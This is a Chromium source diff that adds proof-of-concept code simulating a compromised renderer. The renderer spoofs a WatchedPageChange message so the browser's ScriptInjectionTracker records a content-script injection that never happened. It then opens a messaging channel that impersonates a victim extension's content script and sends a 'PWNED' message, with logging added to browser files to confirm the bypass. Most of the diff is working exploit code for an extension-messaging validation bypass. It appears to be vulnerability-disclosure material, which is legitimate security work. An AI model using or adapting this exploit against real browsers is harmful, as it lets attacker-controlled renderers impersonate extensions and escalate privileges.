diff --git a/chrome/browser/extensions/api/declarative_content/content_action.cc b/chrome/browser/extensions/api/declarative_content/content_action.cc index b1c32f55d233f..e0158f13b28b5 100644 --- a/chrome/browser/extensions/api/declarative_content/content_action.cc +++ b/chrome/browser/extensions/api/declarative_content/content_action.cc @@ -31,6 +31,7 @@ #include "extensions/common/api/declarative/declarative_constants.h" #include "extensions/common/extension.h" #include "extensions/common/image_util.h" +#include "extensions/common/permissions/permissions_data.h" // POC #include "extensions/common/mojom/host_id.mojom.h" #include "extensions/common/mojom/match_origin_as_fallback.mojom-shared.h" #include "extensions/common/mojom/run_location.mojom-shared.h" @@ -374,6 +375,17 @@ void RequestContentScript::Revert(const ApplyInfo& apply_info) const {} void RequestContentScript::InstructRenderProcessToInject( content::WebContents* contents, const Extension* extension) const { + // POC instrumentation: this is the unconditional tracker write — no + // permission check has happened yet. + LOG(ERROR) << "[POC-BROWSER] RequestContentScript::InstructRenderProcessTo" + << "Inject: calling ScriptInjectionTracker::WillExecuteCode for " + << "extension=" << extension->id() << " on process hosting url=" + << contents->GetLastCommittedURL().spec() + << " (extension CanAccessPage=" + << extension->permissions_data() + ->CanAccessPage(contents->GetLastCommittedURL(), -1, + nullptr) + << ")"; ScriptInjectionTracker::WillExecuteCode(base::PassKey(), contents->GetPrimaryMainFrame(), *extension); diff --git a/extensions/browser/api/messaging/message_service_bindings.cc b/extensions/browser/api/messaging/message_service_bindings.cc index d2a6f8737bc1f..069772b203297 100644 --- a/extensions/browser/api/messaging/message_service_bindings.cc +++ b/extensions/browser/api/messaging/message_service_bindings.cc @@ -120,6 +120,13 @@ bool IsValidMessagingSource(RenderProcessHost& process, bool is_content_script_expected = ScriptInjectionTracker::DidProcessRunContentScriptFromExtension( process, *source_endpoint.extension_id); + // POC instrumentation: + LOG(ERROR) << "[POC-BROWSER] IsValidMessagingSource(kContentScript) " + << "extension_id=" << *source_endpoint.extension_id + << " process=" << process.GetDeprecatedID() + << " DidProcessRunContentScriptFromExtension=" + << (is_content_script_expected ? "TRUE (BYPASS!)" + : "false (would kill renderer)"); if (!is_content_script_expected) { debug::ScopedScriptInjectionTrackerFailureCrashKeys tracker_keys( *process.GetBrowserContext(), source_endpoint.extension_id.value()); diff --git a/extensions/renderer/extension_frame_helper.cc b/extensions/renderer/extension_frame_helper.cc index 1ab0e8afc84b8..6b8d64ab432ca 100644 --- a/extensions/renderer/extension_frame_helper.cc +++ b/extensions/renderer/extension_frame_helper.cc @@ -10,6 +10,17 @@ #include "base/auto_reset.h" #include "base/containers/map_util.h" #include "base/feature_list.h" +// --- POC includes --- +#include "base/task/single_thread_task_runner.h" +#include "base/unguessable_token.h" +#include "extensions/common/api/messaging/messaging_endpoint.h" +#include "extensions/common/extension.h" +#include "extensions/common/extension_set.h" +#include "extensions/common/mojom/message_port.mojom.h" +#include "extensions/renderer/renderer_extension_registry.h" +#include "mojo/public/cpp/bindings/associated_receiver.h" +#include "mojo/public/cpp/bindings/associated_remote.h" +// --- end POC includes --- #include "base/strings/string_util.h" #include "base/timer/elapsed_timer.h" #include "content/public/renderer/render_frame.h" @@ -293,6 +304,144 @@ void ExtensionFrameHelper::DidCreateNewDocument() { active_user_script_worlds_.clear(); } +// ============================================================================ +// POC: ScriptInjectionTracker pollution via spoofed WatchedPageChange +// ============================================================================ +// +// Simulates a compromised renderer. When the main frame finishes loading a URL +// containing "poc-spoof-watched-page", this hook: +// 1. Locates the installed "POC Victim Extension" (a renderer learns the set +// of installed extensions via the RendererExtensionRegistry; in a real +// attack the selector strings are also broadcast to every renderer via +// WatchPages, so the attacker knows exactly what to spoof). +// 2. Sends extensions::mojom::LocalFrameHost::WatchedPageChange with the +// victim extension's css-only PageStateMatcher selector. The browser does +// not validate that the renderer was ever asked to watch that selector, +// nor that the selector actually matched any DOM node. +// 3. After a short delay (so the browser has evaluated the rule and called +// ScriptInjectionTracker::WillExecuteCode), sends OpenChannelToExtension +// claiming source_endpoint.type = kContentScript for the victim +// extension, and posts a message over the channel. +// +// Without step (2), step (3) would be rejected with +// EMF_INVALID_EXTENSION_ID_FOR_CONTENT_SCRIPT and the renderer killed. With +// step (2), the check passes and the victim extension's onMessage handler +// receives a message that appears to come from its own content script. +// +// Pass ?poc-spoof-watched-page=nospoof to skip step (2) and observe the +// renderer being killed for sending a bad message — this is the negative +// control. + +namespace { + +// Minimal MessagePort stub so the browser has something to talk back to. +class PocMessagePort : public mojom::MessagePort { + public: + void DispatchDisconnect(const std::string& error) override { + LOG(ERROR) << "[POC-RENDERER] MessagePort.DispatchDisconnect error='" + << error << "'"; + } + void DeliverMessage(Message message) override { + LOG(ERROR) << "[POC-RENDERER] MessagePort.DeliverMessage (reply received)"; + } +}; + +} // namespace + +void ExtensionFrameHelper::DidFinishLoad() { + if (!render_frame() || !render_frame()->IsMainFrame()) { + return; + } + GURL url = render_frame()->GetWebFrame()->GetDocument().Url(); + std::string spec = url.spec(); + if (spec.find("poc-spoof-watched-page") == std::string::npos) { + return; + } + bool do_spoof = + spec.find("poc-spoof-watched-page=nospoof") == std::string::npos; + + // Find the victim extension by name. A real attacker doesn't need this: + // every renderer is told the union of all watched selectors via WatchPages, + // and the RendererExtensionRegistry already lists every installed extension. + std::string target_ext_id; + const ExtensionSet* set = + RendererExtensionRegistry::Get()->GetMainThreadExtensionSet(); + for (const auto& ext : *set) { + if (ext->name() == "POC Victim Extension") { + target_ext_id = ext->id(); + break; + } + } + if (target_ext_id.empty()) { + LOG(ERROR) << "[POC-RENDERER] victim extension not found, aborting"; + return; + } + + LOG(ERROR) << "[POC-RENDERER] DidFinishLoad url=" << url.spec() + << " target_ext=" << target_ext_id + << " do_spoof=" << (do_spoof ? "true" : "false"); + + if (do_spoof) { + // Step (2): spoof WatchedPageChange. The page contains no element matching + // ".poc-victim-selector"; we are lying to the browser. + LOG(ERROR) << "[POC-RENDERER] sending spoofed WatchedPageChange(" + << "['.poc-victim-selector'])"; + GetLocalFrameHost()->WatchedPageChange({".poc-victim-selector"}); + } else { + LOG(ERROR) << "[POC-RENDERER] SKIPPING WatchedPageChange (negative control)"; + } + + // Step (3): after the browser has processed the rule, open a channel as a + // content script and send a message. + base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask( + FROM_HERE, + base::BindOnce(&ExtensionFrameHelper::PocSpoofOpenChannel, + weak_ptr_factory_.GetWeakPtr(), target_ext_id, + url.spec()), + base::Milliseconds(1000)); +} + +void ExtensionFrameHelper::PocSpoofOpenChannel( + const std::string& target_ext_id, + const std::string& page_url) { + LOG(ERROR) << "[POC-RENDERER] sending OpenChannelToExtension as " + << "kContentScript of extension " << target_ext_id; + + static base::NoDestructor g_port_impl; + static base::NoDestructor> + g_port_receiver(g_port_impl.get()); + static base::NoDestructor> + g_port_host_remote; + + mojo::PendingAssociatedRemote port_remote = + g_port_receiver->BindNewEndpointAndPassRemote(); + mojo::PendingAssociatedReceiver port_host_receiver = + g_port_host_remote->BindNewEndpointAndPassReceiver(); + + auto info = mojom::ExternalConnectionInfo::New(); + info->source_endpoint = MessagingEndpoint::ForContentScript(target_ext_id); + info->target_id = target_ext_id; + info->source_url = GURL(page_url); + + PortId port_id(base::UnguessableToken::Create(), /*port_number=*/0, + /*is_opener=*/true, mojom::SerializationFormat::kJson); + + GetLocalFrameHost()->OpenChannelToExtension( + std::move(info), mojom::ChannelType::kSendMessage, + /*channel_name=*/std::string(), port_id, std::move(port_remote), + std::move(port_host_receiver)); + + Message msg(std::string("\"PWNED: message from compromised renderer " + "impersonating a content script\""), + /*user_gesture=*/false); + (*g_port_host_remote)->PostMessage(std::move(msg)); + LOG(ERROR) << "[POC-RENDERER] PostMessage sent on spoofed content-script " + << "channel"; +} +// ============================================================================ +// End POC +// ============================================================================ + void ExtensionFrameHelper::RunScriptsAtDocumentStart() { DCHECK(did_create_current_document_element_); RunCallbacksWhileFrameIsValid(weak_ptr_factory_.GetWeakPtr(), diff --git a/extensions/renderer/extension_frame_helper.h b/extensions/renderer/extension_frame_helper.h index b74b195e3d8a3..6244fe3e2a8a4 100644 --- a/extensions/renderer/extension_frame_helper.h +++ b/extensions/renderer/extension_frame_helper.h @@ -193,6 +193,9 @@ class ExtensionFrameHelper // RenderFrameObserver implementation. void DidCreateDocumentElement() override; void DidCreateNewDocument() override; + void DidFinishLoad() override; // POC hook + void PocSpoofOpenChannel(const std::string& target_ext_id, + const std::string& page_url); // POC hook void ReadyToCommitNavigation( blink::WebDocumentLoader* document_loader) override; void DidCreateScriptContext(v8::Local,